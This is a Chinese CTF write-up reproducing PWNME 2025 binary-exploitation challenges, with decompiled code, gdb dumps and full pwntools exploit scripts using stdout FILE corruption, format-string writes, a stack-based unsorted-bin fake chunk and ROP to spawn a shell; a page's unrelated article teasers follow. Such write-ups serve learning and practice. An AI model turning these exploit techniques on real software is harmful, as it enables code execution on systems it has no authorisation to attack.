[PWNME 2025] PWN 复现
这种比赛得0也不容易,前边暖声还是能作的。
GOT
指针前溢出,可以溢出到GOT表,然后把后门写上就行
Einstein
这个拿到WP也没复现成,最后自己改了一下。
int __cdecl handle()
{int offset; // [rsp+8h] [rbp-38h] BYREFunsigned int size; // [rsp+Ch] [rbp-34h] BYREFunsigned __int64 *wher; // [rsp+10h] [rbp-30h] BYREFunsigned __int64 wat; // [rsp+18h] [rbp-28h] BYREFunsigned __int64 *wher2; // [rsp+20h] [rbp-20h] BYREFunsigned __int64 wat2; // [rsp+28h] [rbp-18h] BYREFvoid *allocated; // [rsp+30h] [rbp-10h]unsigned __int64 v8; // [rsp+38h] [rbp-8h]v8 = __readfsqword(0x28u);puts("\nHow long is your story ?");__isoc99_scanf("%u", &size);if ( size <= 0x27 ){puts("Well... It seems you don't really want to talk to me that much, cya.");_exit(1337);}allocated = malloc(size);puts("What's the distortion of time and space ?");__isoc99_scanf("%u", &offset);puts("Well your story is quite long, time may be distored, but it is a priceless ressource, i'll give you a few words only"", use them wisely.");read(0, (char *)allocated + offset, 0x22uLL);puts("Everything is relative... Or is it ???");__isoc99_scanf("%llu %llu", &wher, &wat);__isoc99_scanf("%llu %llu", &wher2, &wat2);*wher = wat;*wher2 = wat2;return 0;
}
题目很短,先建堆块,大小无限制。然后可以以这个为偏移写34字节,然后可以向两个地址写值。
这题dockerfile的是23.10,这种题没有libc是没法作的。问了几个人都不知道这个是什么版本。因为这个版本不常见,libc-2.38,还好问了csdn的c知道,还真知道。
思路很简单,当建大块是0x200000以上时会用mmap建块,这个块大概率与libc相邻。再高版本可能就不相邻了。然后往_IO_2_1_stdout_里写东西,常见的_IO_write_base尾字节改为0可以得到libc地址。不过这题还不行,这题改_IO_write_ptr的尾两字节为FFFF这样泄露的东西更多。可以得到栈地址,这样就好在栈里写跳转了。
WP是在返回地址写execve,在返回里rdi指向处写/bin/sh,但试了不行,这个地址是scanf那得到的,这时会写上scanf过滤到的那串数字,而且不会把/bin/sh写到上边。
于是想了另外一个方法,在低版本时一般会写one_gadget,在高版本很少用了。不过这题可以。这里rbp是正常的,所以显然可写,rax=0,只需要一个[rbp-0x78]=0,可以利用第2个给他写清0
0xeb66b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
from pwn import *
context(arch='amd64', log_level='debug')libc = ELF('/home/kali/glibc/libs/2.38-1ubuntu6.3_amd64/libc.so.6') #ubuntu 23.10 libc 2.38
elf = ELF('./einstein')p = process('./einstein')
#gdb.attach(p, "b*0x5555555553a7\nc")#stdout->_IO_write_ptr 的尾两字节改为ffff 泄露出libc和envp指向argv[0]的指针得到栈地址
p.sendlineafter(b"\nHow long is your story ?\n", str(0x200000).encode())
p.sendlineafter(b"What's the distortion of time and space ?\n", str(0x201000-0x10 + libc.sym['_IO_2_1_stdout_'] + 0x28))
p.sendafter(b"use them wisely.\n", b'\xff\xff')p.recv(0x55)
libc.address = u64(p.recv(8)) - libc.sym['_IO_file_jumps']
p.recv(0x40)
stack = u64(p.recv(8)) #2d:0168│ rbx 0x7fffffffde68 —▸ 0x7fffffffe1fe ◂— './einstein'
print(f"{libc.address = :x} {stack = :x}")'''
0xeb66b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:address rbp-0x50 is writablerax == NULL || {"/bin/sh", rax, NULL} is a valid argv[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
'''
p.recvuntil(b'???\n')
#09:0048│+008 0x7fffffffdd48 —▸ 0x555555555244 (main+74) ◂— mov rax, 0x3c
p.sendline(f"{stack-0x120} {libc.address + 0xeb66b}".encode()) #one_gadget
p.sendline(f"{stack-0x190} {0}".encode()) #rbp-0x78=0p.interactive()
noprint
这个也很短,也很新鲜。有一个不限次数的fprintf漏洞,但数据写到堆里,并且输出写到/dev/null
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{FILE *stream; // [rsp+20h] [rbp-10h]char *buf; // [rsp+28h] [rbp-8h]puts("Hello from the void");init(argv, envp);setbuf(_bss_start, 0LL);setbuf(stdin, 0LL);stream = fopen("/dev/null", "a");for ( buf = (char *)malloc(0x100uLL); ; fprintf(stream, buf) )buf[read(0, buf, 0x100uLL) - 1] = 0;
}
思路就是直接改IO_file的fileid和flag,fileid=1就会写到stdout了。然后就没难度了。
但写fileid需要一个指针。打开的文件放在堆里,而一般加载地址跟堆地址的前两字节相同。利用栈里的一个地址改成堆地址。偏移9是指向文件结构的指针,直接输出这个地址再加上偏移就行。
from pwn import *
context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6')
elf = ELF('./noprint')#p = process('./noprint')
#gdb.attach(p, "b*0x5555555553ac\nc")
p = remote('noprint.phreaks2600.fr', 1337)p.recvline()#修改stream.fileid=1,stream.flag=0xfbad2887 转到stdout 得到输出
#13->21->stream.fildid
#p.send(b'%c%c%c%c%c%c%c%105c%*c%13$n'.ljust(0x100, b'\0'))
p.send(b'%112c%*9$c%13$n'.ljust(0x100, b'\0')) #同上 输入#9+112 使#13指向 stream+0x70:fileid
p.send(b'.%21$lln'.ljust(0x100, b'\0'))
#9->0xfbad2887
p.send(f'%{0x2887}c%9$hn'.encode().ljust(0x100, b'\0'))#leak stack,libc
p.send(b'%11$p %12$p %16$p %4096c'.ljust(0x100, b'\0'))
p.recvuntil(b'0x')
stack = int(p.recvuntil(b' '), 16) - 0xd8
libc.address = int(p.recvuntil(b' '), 16) - 0x2a3b8
elf.address = int(p.recvuntil(b' '), 16) - 0x12e4
print(f"{stack = :x} {libc.address = :x} {elf.address = :x}")
pop_rdi = libc.address + 0x00000000000cee4d # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']
ret = elf.address +0x12e3#fprintf的返回地址改为 ret,pop_rdi,bin_sh,system
#11->31->target fprintf.ret+8
def write_v(target,val):p.send(f"%{target&0xffff}c%11$hhn".encode().ljust(0x100, b'\0'))p.send(f"%{val&0xffff}c%31$hn".encode().ljust(0x100, b'\0'))p.send(f"%{(target+2)&0xff}c%11$hhn".encode().ljust(0x100, b'\0'))p.send(f"%{(val>>16)&0xffff}c%31$hn".encode().ljust(0x100, b'\0'))p.send(f"%{(target+4)&0xff}c%11$hhn".encode().ljust(0x100, b'\0'))p.send(f"%{(val>>32)&0xffff}c%31$n".encode().ljust(0x100, b'\0'))p.send(f"%{stack&0xffff}c%11$hn".encode().ljust(0x100, b'\0'))
write_v(stack+8, pop_rdi)
write_v(stack+16, bin_sh)
write_v(stack+24, system)#gdb.attach(p, "b*0x5555555553ac\nc")p.send(f"%{stack&0xff}c%11$hhn".encode().ljust(0x100, b'\0'))
p.send(f"%{ret&0xffff}c%31$hn".encode().ljust(0x100, b'\0'))p.interactive()
#PWNME{0837e3827df3c6a04684b5942a8cab03}'''
0x00007fffffffde28│+0x0028: 0x00005555555553ac → <main+200> nop 13ac->12e3 : ret
gef➤ tel 40
0x00007fffffffdda0│+0x0000: 0x0000000000000000 ← $rsp
0x00007fffffffdda8│+0x0008: 0x00007fffffffdf08 → 0x0000000000000000 #6
0x00007fffffffddb0│+0x0010: 0x00007fffffffdef8 → 0x0000000000000000 #7
0x00007fffffffddb8│+0x0018: 0x00000001f7fe54e0
0x00007fffffffddc0│+0x0020: 0x000055555555b6b0 → 0x00000000fbad3c84 #9 file.flag->...2887 #
0x00007fffffffddc8│+0x0028: 0x000055555555b890 → 0x0000000000007325 #10 buf
0x00007fffffffddd0│+0x0030: 0x00007fffffffde70 → 0x00007fffffffded0 → 0x0000000000000000 ← $rbp #11->31->target 泄露栈地址
0x00007fffffffddd8│+0x0038: 0x00007ffff7c2a3b8 → <__libc_start_call_main+120> mov edi, eax #泄露libc
0x00007fffffffdde0│+0x0040: 0x00007fffffffde20 → 0x0000555555557d90 → 0x00005555555551c0 #13->21->stream.fildid:3->1
0x00007fffffffdde8│+0x0048: 0x00007fffffffdef8 → 0x0000000000000000
0x00007fffffffddf0│+0x0050: 0x0000000155554040
0x00007fffffffddf8│+0x0058: 0x00005555555552e4 → <main+0> endbr64 #泄露加载地址
0x00007fffffffde00│+0x0060: 0x00007fffffffdef8 → 0x0000000000000000
0x00007fffffffde08│+0x0068: 0xb6197b08324563f7
0x00007fffffffde10│+0x0070: 0x0000000000000001
0x00007fffffffde18│+0x0078: 0x0000000000000000
0x00007fffffffde20│+0x0080: 0x0000555555557d90 → 0x00005555555551c0 → <__do_global_dtors_aux+0> endbr64
0x00007fffffffde28│+0x0088: 0x00007ffff7ffd000 → 0x00007ffff7ffe2e0 → 0x0000555555554000 → 0x00010102464c457f
0x00007fffffffde30│+0x0090: 0xb6197b08356563f7
0x00007fffffffde38│+0x0098: 0xb6196b72c87b63f7
0x00007fffffffde40│+0x00a0: 0x00007fff00000000
0x00007fffffffde48│+0x00a8: 0x0000000000000000
0x00007fffffffde50│+0x00b0: 0x0000000000000000
0x00007fffffffde58│+0x00b8: 0x0000000000000001
0x00007fffffffde60│+0x00c0: 0x00007fffffffdef0 → 0x0000000000000001
0x00007fffffffde68│+0x00c8: 0x237282e3d7233c00
0x00007fffffffde70│+0x00d0: 0x00007fffffffded0 → 0x0000000000000000 #31
0x00007fffffffde78│+0x00d8: 0x00007ffff7c2a47b → <__libc_start_main_impl+139> # 0x7ffff7e10f98
0x00007fffffffde80│+0x00e0: 0x00007fffffffdf08 → 0x0000000000000000
0x00007fffffffde88│+0x00e8: 0x0000555555557d90 → 0x00005555555551c0 → <__do_global_dtors_aux+0> endbr64
0x00007fffffffde90│+0x00f0: 0x00007fffffffdf08 → 0x0000000000000000
0x00007fffffffde98│+0x00f8: 0x00005555555552e4 → <main+0> endbr64
0x00007fffffffdea0│+0x0100: 0x0000000000000000
0x00007fffffffdea8│+0x0108: 0x0000000000000000
0x00007fffffffdeb0│+0x0110: 0x0000555555555120 → <_start+0> endbr64
0x00007fffffffdeb8│+0x0118: 0x00007fffffffdef0 → 0x0000000000000001
0x00007fffffffdec0│+0x0120: 0x0000000000000000
0x00007fffffffdec8│+0x0128: 0x0000000000000000
0x00007fffffffded0│+0x0130: 0x0000000000000000 #43
0x00007fffffffded8│+0x0138: 0x0000555555555145 → <_start+37> hlt gef➤ x/80gx 0x000055555555b6b0
0x55555555b6b0: 0x00000000fbad3c84 <-- flag
0x55555555b720: 0x0000000000000003 <-- fileid
'''
Compresse
这题利用unsort bin建fake到栈里,这个方法头回见。
一般情况下unsorted bin attack修改bk会把堆地址写到bk指向位置,但高版本检查通不过了。
菜单有8项
unsigned __int64 menu()
{unsigned int v1; // [rsp+8h] [rbp-4A8h]int v2; // [rsp+Ch] [rbp-4A4h]char s[128]; // [rsp+10h] [rbp-4A0h] BYREFchar v4[512]; // [rsp+90h] [rbp-420h] BYREFchar v5[512]; // [rsp+290h] [rbp-220h] BYREFvoid *v6; // [rsp+490h] [rbp-20h]char buf[10]; // [rsp+49Eh] [rbp-12h] BYREFunsigned __int64 v8; // [rsp+4A8h] [rbp-8h]v8 = __readfsqword(0x28u);v1 = 0;v6 = 0LL;do{puts("\nMenu:");puts("1. Flate");puts("2. Deflate");puts("3. New note");puts("4. Edit note");puts("5. Delete note");puts("6. View note");puts("7. Select note");puts("8. Exit");printf("Enter your choice: ");fflush(_bss_start);read(0, buf, 0xAuLL);v2 = atoi(buf);switch ( v2 ){case 1:printf("Enter a string to flate: ");fflush(_bss_start);read(0, s, 0x80uLL);s[strcspn(s, "\n")] = 0;flate_string(s, (__int64)v5);printf("Flated: %s\n", v5);break;case 2:printf("Enter a string to deflate: ");fflush(_bss_start);read(0, s, 0x80uLL);s[strcspn(s, "\n")] = 0;deflate_string(s, (__int64)v4);printf("Deflated: %s\n", v4);break;case 3:v6 = new_note();break;case 4:edit_note(v6);break;case 5:v6 = (void *)delete_note(v6, v1);break;case 6:print_note((const char *)v6);break;case 7:printf("Enter a note to select: ");fflush(_bss_start);read(0, s, 2uLL);v1 = atoi(s);if ( v1 <= 3 && v1 < note_count ){v6 = (void *)notes[v1];printf("Current note is : %d\n", v1);}else{puts("Bad index");v1 = 0;}break;case 8:puts("Bye !");break;default:puts("Invalid choice. Please try again.");break;}}while ( v2 != 8 );return v8 - __readfsqword(0x28u);
1是解压缩,比如2A3B会被改成AABBB最后加\0,但这里有个漏洞,当输入的数字之和到大于512时就会直接返回不加\0,可以利用它在解压数据后加个大数避开\0截断,带出栈内残留的地址。栈里这块有512字节,里边有加载地址,libc和栈都有。另外在解压区后边是堆指针,当输入512长度里\0会写到堆指针尾部,相当于off_by_null这样堆指针就会变小,从而可能以控制堆头。
2是压缩用不到
3-6是建、删、修改、输出。只能是固定410大小4次并且会清指针,没啥问题
7是选择块,由于选块、修改不在同一函数内,可以实现控制块头。
先利用解压漏洞泄露地址
然后修改块头,使它包含块0和大部分块1(避免与top chunk合并)释放,再建块剩余的unsort会落在chunk1的位置,通过修改chunk1在这里将fake_chunk连到unsort里。当建块时第1个块不够大会跳到fake.
需要绕过的检查:
1,unsort.bk->fake unsort+0x10->fake
2,unsort块底部的块检查,下个块的pre_size和size要正常
3,fake.fd->chunk1,fake.bk->chunk1+0x10
4,fake的底部,下个块的pre_size和size
最后是比较麻烦的,通过修改指针尾字节可以向前写溢出,但edit的时候会memset(0)而且edit有canary栈保护,所以只有当尾字节是30里覆盖成00,恰好写到edit的rbp和ret上。所以需要爆破一下1/16还算不大黑。
from pwn import *
context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6')
elf = ELF('./compresse')#输入3a2b时会解码成 aaabb最后补0 当数据长度超过512时直接退出不补0
def flate(msg):p.sendlineafter(b"Enter your choice: ",b'1')p.sendafter(b"Enter a string to flate: ", msg)def add(msg=b'a'):p.sendlineafter(b"Enter your choice: ",b'3')p.sendafter(b"Enter your note: ", msg)def edit(msg):p.sendlineafter(b"Enter your choice: ",b'4')p.sendafter(b"Edit your note: ", msg)def free():p.sendlineafter(b"Enter your choice: ",b'5')def show():p.sendlineafter(b"Enter your choice: ",b'6')def choice(idx):p.sendlineafter(b"Enter your choice: ",b'7')p.sendlineafter(b"Enter a note to select: ",str(idx).encode())p = process('./compresse')add()
add(b'a'*0x3d0+flat(0,0x41))'''
pwndbg> x/80gx $rsp+0x290
0x7fffffffdb00: 0x00005555555561d8 <-elf
0x7fffffffdb10: 0x00007fffffffdb50 0x00007ffff7cad7e2 <- libc
0x7fffffffdb50: 0x00007fffffffdc20 <- stack
0x7fffffffdd00: 0x000055555555bad0 <- heap
'''
#gdb.attach(p,"b*0x555555555947\nc")
#输入第2段大于512时会将栈内的地址带出
flate(b'888b')
p.recvuntil(b"Flated: ")
elf.address = u64(p.recvline()[:-1]+b'\0\0') - 0x21d8
print(f"{elf.address = :x}")flate(b'24a888b')
p.recvuntil(b"a"*24)
libc.address = u64(p.recvline()[:-1]+b'\0\0') - 0xad7e2
print(f"{libc.address = :x}")flate(b'80a888b')
p.recvuntil(b"a"*80)
stack = u64(p.recvline()[:-1]+b'\0\0') - 0x120 #&v5 ,rsp+0x290
print(f"{stack = :x}")#输入512长并跳出时,带出堆地址
flate(b'512a888b')
p.recvuntil(b"a"*512)
heap = u64(p.recvline()[:-1]+b'\0\0')
print(f"{heap = :x}")
chunk0 = heap - 0x430 #chunk0.pre_size
chunk1 = heap - 0x10#将堆地址尾字节覆盖为0,修改堆头部,改大,与chunk1部分释放,再建块unsort与chunk1重叠
# | chunk0 | chunk1 |
# | unsort800 |40|
choice(0)
flate(b'512a\n') #chunk0 xxx6b0->xxx600
edit(b'\0'*0xa8 + p64(0x801)) #421->801
choice(0)
free()#在栈内伪造一个unsort块 伪造头部、底部绕过检查
#尾部下一块的pre_size,size
#v5+ 0x1a0 : pre_size:0x420 size:0x20
for i in range(7):flate(f"{0x1a8}a{7-i}a\n".encode())
flate(f"{0x1a8}a1 \n".encode())for i in range(7):flate(f"{0x1a0}a{7-i}a\n".encode())
flate(b"416a1\x201\x04\n")#fack_chunk_tail
#pwndbg> x/8gx $rsp+0x290+0x1a0
#0x7fffffffdca0: 0x0000000000000420 0x0000000000000020# | chunk2 | unsort3e0 |40|
add() #gdb.attach(p,"b*0x555555555947\nc")
#头部
#fake_head
victim = stack - 0x280 #rsp+0x10
flate(flat(0, 0x421, chunk1,chunk1+0x10))
'''
pwndbg> x/6gx $rsp
0x7fffffffd870: 0x0000000000000009 0x0000000100000000
0x7fffffffd880: 0x0000000000000000 0x0000000000000421
0x7fffffffd890: 0x000055555555bac0 0x000055555555bad0
pwndbg> x/4gx $rsp+0x420
0x7fffffffdc90: 0x6161616161616161 0x6161616161616161
0x7fffffffdca0: 0x0000000000000420 0x0000000000000020
pwndbg> p/x 0xca0-0x880
$1 = 0x420
'''#修改unsort块,指向fake_chunk
#bk->fake,fd_next->fake
#fake.fd->chunk1,bk->chunk1.fd
choice(1)
edit(flat(libc.address+0x203b20, victim,victim, b'\0'*(0x3e0-0x28), 0x3e0,0x40))'''
pwndbg> x/8gx 0x7ffff7e03b20 main_arena+0x50
0x7ffff7e03b20: 0x000055555555bee0 0x0000000000000000
0x7ffff7e03b30: 0x000055555555bac0 0x000055555555bac0 main_arena+0x60 -> chunk1,chunk1
0x7ffff7e03b40: 0x00007ffff7e03b30 0x00007ffff7e03b30
0x7ffff7e03b50: 0x00007ffff7e03b40 0x00007ffff7e03b40pwndbg> x/8gx 0x000055555555bac0 chunk1 unsorted
0x55555555bac0: 0x0000000000000000 0x00000000000003e1
0x55555555bad0: 0x00007ffff7e03b20 0x00007fffffffd880 fd->main_arena+0x50,(bk->fake_chunk)
0x55555555bae0: 0x00007fffffffd880 0x0000000000000000 (fd_next->fake_chunk)
...
0x55555555bea0: 0x00000000000003e0 0x0000000000000040pwndbg> x/8gx 0x00007fffffffd880 fake_chunk
0x7fffffffd880: 0x0000000000000a31 0x0000000000000421
0x7fffffffd890: 0x000055555555bac0 0x000055555555bad0 fd->chunk1 bk->chunk1+0x10
...
0x7fffffffdca0: 0x0000000000000420 0x0000000000000020
'''#将块建到栈内,并覆盖尾字节,可以向前溢出,当edit时覆盖rbp和ret
#memset清0,仅当尾字节为0x30时,覆盖后可写到rbp,ret
add()
flate(b'512a\n')#gdb.attach(p,"b*0x5555555555b4\nc")
pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret
ret = pop_rdi+1
#pop_rsi = libc.address + 0x0000000000110a4d # pop rsi ; ret
#pop_rax = libc.address + 0x00000000000dd237 # pop rax ; ret
#pop_rdx = libc.address + 0x0000000000066b9a # pop rdx ; ret 0x19
#syscall = libc.sym['getpid']+9
pay = flat(ret,ret,pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])#when fake_chunk= xx30 write edit.rbp_ret 1/16
# edit canary,rbp,ret
edit(pay)p.interactive()
相关文章:
[PWNME 2025] PWN 复现
这种比赛得0也不容易,前边暖声还是能作的。 GOT 指针前溢出,可以溢出到GOT表,然后把后门写上就行 Einstein 这个拿到WP也没复现成,最后自己改了一下。 int __cdecl handle() {int offset; // [rsp8h] [rbp-38h] BYREFunsigne…...
【笔记】记一次easyExcel中注解ExcelProperty映射字段赋值无效问题
背景 最近在开发一个导入excel文件解析数据并入库的功能,导入过程中出现一个BUG:后端映射实体字段pType没有被赋值,但是导入的excel源文件是有数据。 定位问题 经过debug源码发现最终创建对象并赋值使用的是net.sf.cglib.beans.BeanMap类中…...

肖恩的n次根
1.肖恩的n次根 - 蓝桥云课 问题描述 喜欢研究数学问题的肖恩注意到,在编程语言中通常内置函数只有开平方根和开立方根,但是肖思想知道开高次方根(大于3次方称为高次方),应该怎么做。请你设计一个程序来帮帮肖恩。 输…...
《AI浪潮下的创新枢纽:火山引擎大模型应用实验室平台》
《AI浪潮下的创新枢纽:火山引擎大模型应用实验室平台》 引言:AI 时代的新引擎 在科技飞速发展的当下,人工智能(AI)已不再是遥不可及的概念,它如同一股汹涌的浪潮,席卷了我们生活的每一个角落。…...

生成式AI系列(二) LLM生成质量改善的方法——RAG检索增强生成
一、引子 我们需要通过一些手段来提升LLM生成内容质量,主要的有下面三项,本文将主要介绍RAG。 1. 提示工程(Prompt Engineering) 通过精心设计的提示(Prompt)来提升输出的质量 2. 模型微调(Fi…...

Visual studio + Qt 项目配置管理
Visual studio Qt 项目配置管理 1.本机顺利安装 vs 和 Qt 软件 并且设置好Qt 的环境变量比如 E:\Qt\Qt5.9.8\5.9.8\msvc2017_64\bin E:\Qt\Qt5.9.8\5.9.8\msvc2017_64\lib E:\Qt\Qt5.9.8\5.9.8\msvc2017_64\include //这里是你电脑上Qt的路径,每台电脑不一样…...

直装永久授权,最新专业版集成VB7
无论是学生、教师还是职场工作人员,办公软件在日常工作和学习中都是不可或缺的重要工具。在众多办公软件中,微软的Microsoft Office和金山软件的WPS Office最常用的选择。对于许多使用要求不高的小伙伴而言,WPS Office因其易用性和免费版本的…...

AI数字人| Fay开源项目、UE5数字人、本地大模型
数字人实践教程 本教程主要是讲如何在本地UE部署Fay数字人的开源框架。 最终效果可以与人进行自然语言的对话,花了大概10个h的时间到,踩了很多坑,同样想实现的朋友可以作为参考 参考文档:Fay 数字人开源框架 - 飞书云文档 官方的教…...
【网络编程】同步和异步、阻塞和非阻塞,I/O和网络I/O
十、基于I/O模型的网络开发 10.1 同步和异步 对于多个线程而言,同步、异步就是线程间的步调是否要一致、是否要协调:要协调线程 之间的执行时机就是线程同步,否则就是异步。 对于一个线程的请求调用来讲,同步和异步的区别是是否…...

第本章:go 切片
注意: 切片必须要初始化 才能使用 ,切片是引用类型 a :[]int{} // 这上叫始化 此时并没有申请内存 // 如果要追加值的话: append ints : append(a, 1, 2, 3)a : make([]int,5) // 声明切片类型var a []string //声明一…...

VsCode导入时选择相对路径
自动导入时总是以db://开头了,而我们通常需要的是相对路径,对VsCode进行如下设置: 打开 VSCode 设置: 使用快捷键 Ctrl ,(Windows/Linux)或 Cmd ,(Mac)。 或者在菜单栏中选择 …...

CarPlanner:用于自动驾驶大规模强化学习的一致性自回归轨迹规划
25年2月来自浙大和菜鸟网络的论文“CarPlanner: Consistent Auto-regressive Trajectory Planning for Large-scale Reinforcement Learning in Autonomous Driving”。 轨迹规划对于自动驾驶至关重要,可确保在复杂环境中安全高效地导航。虽然最近基于学习的方法&a…...
Vue3:本地启动Vue3项目失败,报not found xxx moudel
一、情况描述 我这边是从git上下载的一份可用代码 是之前在公司上传的 于是,在加clone到本地。继续开发 get到项目后,我先进行了:npm install,也没显示报错。 启动的时候报错。 二、解决 rm -rf node_modules npm cache clean…...
nodejs去除本地文件html字符
说明:我希望用nodejs 写一个小工具,去除本地txt文件中的html字符,去除字符后生成新的文件,同样保存在桌面 文件的具体位置是C:\Users\Administrator\Desktop\file.txt step1:C:\Users\Administrator\WebstormProjects\untitled4\f…...
dify部署
https://github.com/langgenius/dify 介绍 Dify 是一款开源的大语言模型(LLM) 应用开发平台。它融合了后端即服务(Backend as Service)和 LLMOps 的理念,使开发者可以快速搭建生产级的生成式 AI 应用。Dify 内置了构建 LLM 应用所需的关键技…...
【Redis】常用命令汇总
Redis 作为高性能的键值存储数据库,提供了丰富的命令集,主要涵盖 字符串 (String)、哈希 (Hash)、列表 (List)、集合 (Set)、有序集合 (ZSet)、键 (Keys)、Geo(地理位置)、HyperLogLog(基数统计)、Bitmap&a…...

分析TCP三次握手与四次挥手
TCP(传输控制协议)通过三次握手建立连接,四次挥手终止连接,确保数据传输的可靠性。 TCP的三个控制标志位: SYN——用于建立连接,同步序列号。 ACK——用于确认收到的数据。 FIN——用于终止连接。 ISN…...

C++之序列容器(vector,list,dueqe)
1.大体对比 在软件开发的漫长历程中,数据结构与算法始终占据着核心地位,犹如大厦的基石,稳固支撑着整个程序的运行。在众多编程语言中,数据的存储与管理方式各有千秋,而 C 凭借其丰富且强大的工具集脱颖而出ÿ…...

网络安全技术和协议(高软43)
系列文章目录 网络安全技术和协议 文章目录 系列文章目录前言一、网络安全技术1.防火墙2.入侵检测系统IDS3.入侵防御系统IPS 二、网络攻击和威胁三、网络安全协议四、真题在这里插入图片描述 总结 前言 本节讲明网络安全技术和协议方面的相关知识。 一、网络安全技术 1.防火…...

LeetCode697
好的,根据你提供的代码和LeetCode题号(697),我将帮助你生成一个结构化的Markdown文档。首先,我们需要补充一些必要的信息,如题目描述、示例、思路分析等。如果你能提供这些信息会更好,否则我会基…...

突破不可导策略的训练难题:零阶优化与强化学习的深度嵌合
强化学习(Reinforcement Learning, RL)是工业领域智能控制的重要方法。它的基本原理是将最优控制问题建模为马尔可夫决策过程,然后使用强化学习的Actor-Critic机制(中文译作“知行互动”机制),逐步迭代求解…...

.Net框架,除了EF还有很多很多......
文章目录 1. 引言2. Dapper2.1 概述与设计原理2.2 核心功能与代码示例基本查询多映射查询存储过程调用 2.3 性能优化原理2.4 适用场景 3. NHibernate3.1 概述与架构设计3.2 映射配置示例Fluent映射XML映射 3.3 查询示例HQL查询Criteria APILINQ提供程序 3.4 高级特性3.5 适用场…...

Opencv中的addweighted函数
一.addweighted函数作用 addweighted()是OpenCV库中用于图像处理的函数,主要功能是将两个输入图像(尺寸和类型相同)按照指定的权重进行加权叠加(图像融合),并添加一个标量值&#x…...

Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility
Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility 1. 实验室环境1.1 实验室环境1.2 小测试 2. The Endor System2.1 部署应用2.2 检查现有策略 3. Cilium 策略实体3.1 创建 allow-all 网络策略3.2 在 Hubble CLI 中验证网络策略源3.3 …...

ArcGIS Pro制作水平横向图例+多级标注
今天介绍下载ArcGIS Pro中如何设置水平横向图例。 之前我们介绍了ArcGIS的横向图例制作:ArcGIS横向、多列图例、顺序重排、符号居中、批量更改图例符号等等(ArcGIS出图图例8大技巧),那这次我们看看ArcGIS Pro如何更加快捷的操作。…...
docker 部署发现spring.profiles.active 问题
报错: org.springframework.boot.context.config.InvalidConfigDataPropertyException: Property spring.profiles.active imported from location class path resource [application-test.yml] is invalid in a profile specific resource [origin: class path re…...

HashMap中的put方法执行流程(流程图)
1 put操作整体流程 HashMap 的 put 操作是其最核心的功能之一。在 JDK 1.8 及以后版本中,其主要逻辑封装在 putVal 这个内部方法中。整个过程大致如下: 初始判断与哈希计算: 首先,putVal 方法会检查当前的 table(也就…...

【VLNs篇】07:NavRL—在动态环境中学习安全飞行
项目内容论文标题NavRL: 在动态环境中学习安全飞行 (NavRL: Learning Safe Flight in Dynamic Environments)核心问题解决无人机在包含静态和动态障碍物的复杂环境中进行安全、高效自主导航的挑战,克服传统方法和现有强化学习方法的局限性。核心算法基于近端策略优化…...

【从零学习JVM|第三篇】类的生命周期(高频面试题)
前言: 在Java编程中,类的生命周期是指类从被加载到内存中开始,到被卸载出内存为止的整个过程。了解类的生命周期对于理解Java程序的运行机制以及性能优化非常重要。本文会深入探寻类的生命周期,让读者对此有深刻印象。 目录 …...
Webpack性能优化:构建速度与体积优化策略
一、构建速度优化 1、升级Webpack和Node.js 优化效果:Webpack 4比Webpack 3构建时间降低60%-98%。原因: V8引擎优化(for of替代forEach、Map/Set替代Object)。默认使用更快的md4哈希算法。AST直接从Loa…...